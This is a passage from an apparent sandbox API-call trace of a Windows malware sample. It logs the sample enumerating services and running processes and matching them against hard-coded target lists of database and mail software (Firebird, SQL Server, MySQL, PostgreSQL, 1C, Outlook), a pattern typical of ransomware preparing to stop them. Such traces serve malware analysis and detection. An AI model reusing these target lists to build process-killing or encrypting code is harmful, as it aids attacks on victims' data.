(lpString="NlaSvc") returned 6 [0064.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0064.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0064.907] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0064.907] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0064.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0064.907] lstrlenW (lpString="nsi") returned 3 [0064.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0064.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0064.908] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0064.908] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0064.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0064.908] lstrlenW (lpString="PcaSvc") returned 6 [0064.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0064.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0064.908] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0064.908] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0064.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0064.908] lstrlenW (lpString="PlugPlay") returned 8 [0064.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0064.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0064.908] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0064.909] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0064.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0064.909] lstrlenW (lpString="Power") returned 5 [0064.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0064.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0064.909] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0064.909] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0064.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0064.909] lstrlenW (lpString="ProfSvc") returned 7 [0064.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0064.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0064.909] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0064.909] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0064.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0064.910] lstrlenW (lpString="RpcEptMapper") returned 12 [0064.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0064.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0064.910] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0064.910] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0064.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0064.910] lstrlenW (lpString="RpcSs") returned 5 [0064.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0064.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0064.910] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0064.910] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0064.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0064.910] lstrlenW (lpString="SamSs") returned 5 [0064.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0064.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0064.911] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0064.911] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0064.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0064.911] lstrlenW (lpString="Schedule") returned 8 [0064.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0064.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0064.911] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0064.911] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0064.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0064.911] lstrlenW (lpString="SENS") returned 4 [0064.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0064.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0064.911] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0064.911] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0064.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0064.912] lstrlenW (lpString="ShellHWDetection") returned 16 [0064.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0064.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0064.912] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0064.912] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0064.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0064.912] lstrlenW (lpString="Spooler") returned 7 [0064.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0064.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0064.912] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0064.912] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0064.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0064.912] lstrlenW (lpString="sppsvc") returned 6 [0064.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0064.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0064.913] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0064.913] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0064.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0064.913] lstrlenW (lpString="SysMain") returned 7 [0064.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0064.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0064.913] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0064.913] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0064.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0064.913] lstrlenW (lpString="Themes") returned 6 [0064.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0064.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0064.913] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0064.914] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0064.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0064.914] lstrlenW (lpString="TrkWks") returned 6 [0064.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0064.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0064.915] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0064.915] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0064.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0064.915] lstrlenW (lpString="UxSms") returned 5 [0064.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0064.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0064.915] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0064.915] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0064.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0064.915] lstrlenW (lpString="WdiServiceHost") returned 14 [0064.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0064.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0064.916] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0064.916] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0064.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0064.916] lstrlenW (lpString="WdiSystemHost") returned 13 [0064.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0064.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0064.916] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0064.916] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0064.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0064.916] lstrlenW (lpString="WinDefend") returned 9 [0064.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0064.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0064.917] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0064.917] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0064.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0064.917] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0064.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0064.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0064.917] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0064.917] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0064.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0064.917] lstrlenW (lpString="Winmgmt") returned 7 [0064.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0064.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0064.917] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0064.917] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0064.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0064.918] lstrlenW (lpString="wscsvc") returned 6 [0064.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0064.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0064.918] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0064.918] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0064.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0064.918] lstrlenW (lpString="wuauserv") returned 8 [0064.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0064.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0064.918] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0064.918] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0064.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0064.918] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50e1c8 | out: hHeap=0x4c0000) returned 1 [0064.919] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x210 [0065.561] Process32FirstW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0065.562] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0065.563] lstrlenW (lpString="System") returned 6 [0065.563] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0065.564] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0065.564] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0065.564] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0065.564] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0065.564] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0065.564] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0065.564] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0065.565] lstrlenW (lpString="smss.exe") returned 8 [0065.565] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0065.565] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0065.566] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0065.566] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0065.566] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0065.566] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0065.566] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0065.566] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.567] lstrlenW (lpString="csrss.exe") returned 9 [0065.568] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0065.569] lstrlenW (lpString="wininit.exe") returned 11 [0065.569] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.571] lstrlenW (lpString="csrss.exe") returned 9 [0065.571] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0065.573] lstrlenW (lpString="winlogon.exe") returned 12 [0065.573] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0065.574] lstrlenW (lpString="services.exe") returned 12 [0065.575] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0065.576] lstrlenW (lpString="lsass.exe") returned 9 [0065.576] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0065.578] lstrlenW (lpString="lsm.exe") returned 7 [0065.578] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.579] lstrlenW (lpString="svchost.exe") returned 11 [0065.579] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.581] lstrlenW (lpString="svchost.exe") returned 11 [0065.581] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.583] lstrlenW (lpString="svchost.exe") returned 11 [0065.583] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.584] lstrlenW (lpString="svchost.exe") returned 11 [0065.584] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.586] lstrlenW (lpString="svchost.exe") returned 11 [0065.587] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0065.588] lstrlenW (lpString="audiodg.exe") returned 11 [0065.588] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.590] lstrlenW (lpString="svchost.exe") returned 11 [0065.590] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.592] lstrlenW (lpString="svchost.exe") returned 11 [0065.592] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0065.593] lstrlenW (lpString="dwm.exe") returned 7 [0065.593] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0065.595] lstrlenW (lpString="explorer.exe") returned 12 [0065.595] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0065.596] lstrlenW (lpString="spoolsv.exe") returned 11 [0065.597] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0065.598] lstrlenW (lpString="taskhost.exe") returned 12 [0065.598] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.600] lstrlenW (lpString="svchost.exe") returned 11 [0065.600] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0066.007] lstrlenW (lpString="taskeng.exe") returned 11 [0066.007] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0066.009] lstrlenW (lpString="taskhost.exe") returned 12 [0066.009] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.011] lstrlenW (lpString="svchost.exe") returned 11 [0066.011] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0066.012] lstrlenW (lpString="sppsvc.exe") returned 10 [0066.012] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.014] lstrlenW (lpString="svchost.exe") returned 11 [0066.014] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cosmetics_involving_x.exe")) returned 1 [0066.016] lstrlenW (lpString="cosmetics_involving_x.exe") returned 25 [0066.016] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="visa thought.exe")) returned 1 [0066.017] lstrlenW (lpString="visa thought.exe") returned 16 [0066.017] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="instrumental.exe")) returned 1 [0066.019] lstrlenW (lpString="instrumental.exe") returned 16 [0066.019] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mouth tree.exe")) returned 1 [0066.021] lstrlenW (lpString="mouth tree.exe") returned 14 [0066.021] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="friday complete spiritual.exe")) returned 1 [0066.023] lstrlenW (lpString="friday complete spiritual.exe") returned 29 [0066.023] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thisul.exe")) returned 1 [0066.025] lstrlenW (lpString="thisul.exe") returned 10 [0066.025] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjacent-earlier.exe")) returned 1 [0066.026] lstrlenW (lpString="adjacent-earlier.exe") returned 20 [0066.026] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tired grad keep.exe")) returned 1 [0066.028] lstrlenW (lpString="tired grad keep.exe") returned 19 [0066.028] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, 